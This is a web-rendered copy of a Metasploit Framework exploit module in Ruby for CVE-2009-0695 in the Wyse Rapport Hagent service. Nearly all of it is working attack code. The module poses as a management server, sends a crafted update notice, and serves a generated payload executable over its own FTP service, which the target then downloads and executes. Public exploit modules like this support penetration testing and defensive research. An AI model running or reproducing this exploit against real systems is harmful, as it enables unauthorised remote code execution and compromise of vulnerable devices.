Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'timeout'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::FtpServer
13
include Msf::Exploit::EXE
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution',
20
'Description' => %q{
21
This module exploits the Wyse Rapport Hagent service by pretending to
22
be a legitimate server. This process involves starting both HTTP and
23
FTP services on the attacker side, then contacting the Hagent service of
24
the target and indicating that an update is available. The target will
25
then download the payload wrapped in an executable from the FTP service.
26
},
27
'Stance' => Msf::Exploit::Stance::Aggressive,
28
'Author' => 'kf',
29
'References' => [
30
['CVE', '2009-0695'],
31
['OSVDB', '55839'],
32
['US-CERT-VU', '654545'],
33
['URL', 'http://snosoft.blogspot.com/'],
34
['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/']
35
],
36
'Privileged' => true,
37
'Payload' => {
38
'Space' => 2048,
39
'BadChars' => '',
40
},
41
'DefaultOptions' => {
42
'EXITFUNC' => 'process',
43
},
44
'Platform' => %w{win linux},
45
'Targets' => [
46
[ 'Windows XPe x86', { 'Platform' => 'win', }],
47
[ 'Wyse Linux x86', { 'Platform' => 'linux', }],
48
],
49
'DefaultTarget' => 0,
50
'DisclosureDate' => '2009-07-10',
51
'Notes' => {
52
'Reliability' => UNKNOWN_RELIABILITY,
53
'Stability' => UNKNOWN_STABILITY,
54
'SideEffects' => UNKNOWN_SIDE_EFFECTS
55
}
56
)
57
)
58
59
register_options(
60
[
61
OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]),
62
Opt::RPORT(80),
63
]
64
)
65
end
66
67
def exploit
68
if (datastore['SRVPORT'].to_i != 21)
69
print_error("This exploit requires the FTP service to run on port 21")
70
return
71
end
72
73
# Connect to the target service
74
print_status("Connecting to the target")
75
connect()
76
77
# Start the FTP service
78
print_status("Starting the FTP server")
79
start_service()
80
81
# Create the executable with our payload
82
print_status("Generating the EXE")
83
@exe_file = generate_payload_exe
84
if target['Platform'] == 'win'
85
maldir = "C:\\" # Windows
86
malfile = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".exe"
87
co = "XP"
88
elsif target['Platform'] == 'linux'
89
maldir = "//tmp//" # Linux
90
malfile = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + ".bin"
91
co = "LXS"
92
end
93
@exe_sent = false
94
95
# Start the HTTP service
96
print_status("Starting the HTTP service")
97
wdmserver = Rex::Socket::TcpServer.create({
98
'Context' => {
99
'Msf' => framework,
100
'MsfExploit' => self
101
}
102
})
103
104
# Let this close automatically
105
add_socket(wdmserver)
106
107
wdmserver_port = wdmserver.getsockname[2]
108
print_status("Starting the HTTP service on port #{wdmserver_port}")
109
110
fakerapport = Rex::Socket.source_address(rhost)
111
fakemac = "00" + Rex::Text.rand_text(5).unpack("H*")[0]
112
mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"
113
114
# FTP Credentials
115
ftpserver = Rex::Socket.source_address(rhost)
116
ftpuser = Rex::Text.rand_text_alphanumeric(rand(8) + 1)
117
ftppass = Rex::Text.rand_text_alphanumeric(rand(8) + 1)
118
ftpport = 21
119
ftpsecure = '0'
120
121
incr = 10
122
pwn1 =
123
"&UP0|&SI=1|UR=9" +
124
"|CO \x0f#{co}\x0f|#{incr}" +
125
# "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +
126
"|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr + 1}"
127
128
pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr + 1}"
129
130
pwn3 =
131
"|EX \x0f#{maldir}#{malfile}\x0f|#{incr + 1}" +
132
# "|RB|#{incr+1}" +
133
# "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +
134
# "|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
135
# FTP Paramaters
136
"|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" +
137
"|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +
138
"|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" +
139
"|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +
140
# No clue
141
"|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|"
142
143
if target['Platform'] == 'win'
144
pwn = pwn1 + pwn3
145
elsif target['Platform'] == 'linux'
146
pwn = pwn1 + pwn2 + pwn3
147
end
148
# Send the malicious request
149
sock.put(mal)
150
151
# Download some response data
152
resp = sock.get_once(-1, 10)
153
print_status("Received: #{resp}")
154
155
if not resp
156
print_error("No reply from the target, this may not be a vulnerable system")
157
return
158
end
159
160
print_status("Waiting on a connection to the HTTP service")
161
begin
162
Timeout.timeout(190) do
163
done = false
164
while (not done and session = wdmserver.accept)
165
req = session.recvfrom(2000)[0]
166
next if not req
167
next if req.empty?
168
169
print_status("HTTP Request: #{req.split("\n")[0].strip}")
170
171
case req
172
when /V01/
173
print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")
174
res = pwn
175
when /V02/
176
print_status("++ device sending V02 query...")
177
res = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|"
178
done = true
179
180
when /V55/
181
print_status("++ device sending V55 query...")
182
res = pwn
183
when /POST/ # PUT is used for non encrypted requests.
184
print_status("++ device sending V55 query...")
185
res = pwn
186
done = true
187
else
188
print_status("+++ sending generic response...")
189
res = pwn
190
end
191
192
print_status("Sending reply: #{res}")
193
session.put(res)
194
session.close
195
end
196
end
197
rescue ::Timeout::Error
198
print_status("Timed out waiting on the HTTP request")
199
wdmserver.close
200
disconnect
201
return
202
end
203
204
print_status("Waiting on the FTP request...")
205
stime = Time.now.to_f
206
while (not @exe_sent)
207
break if (stime + 90 < Time.now.to_f)
208
209
select(nil, nil, nil, 0.25)
210
end
211
212
if (not @exe_sent)
213
print_status("No executable sent :(")
214
end
215
216
wdmserver.close()
217
218
handler
219
disconnect
220
end
221
222
def on_client_command_retr(c, arg)
223
print_status("#{@state[c][:name]} FTP download request for #{arg}")
224
conn = establish_data_connection(c)
225
if (not conn)
226
c.put("425 Can't build data connection\r\n")
227
return
228
end
229
230
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
231
conn.put(@exe_file)
232
c.put("226 Transfer complete.\r\n")
233
conn.close
234
@exe_sent = true
235
end
236
237
def on_client_command_size(c, arg)
238
print_status("#{@state[c][:name]} FTP size request for #{arg}")
239
c.put("213 #{@exe_file.length}\r\n")
240
end
241
242
end
243
244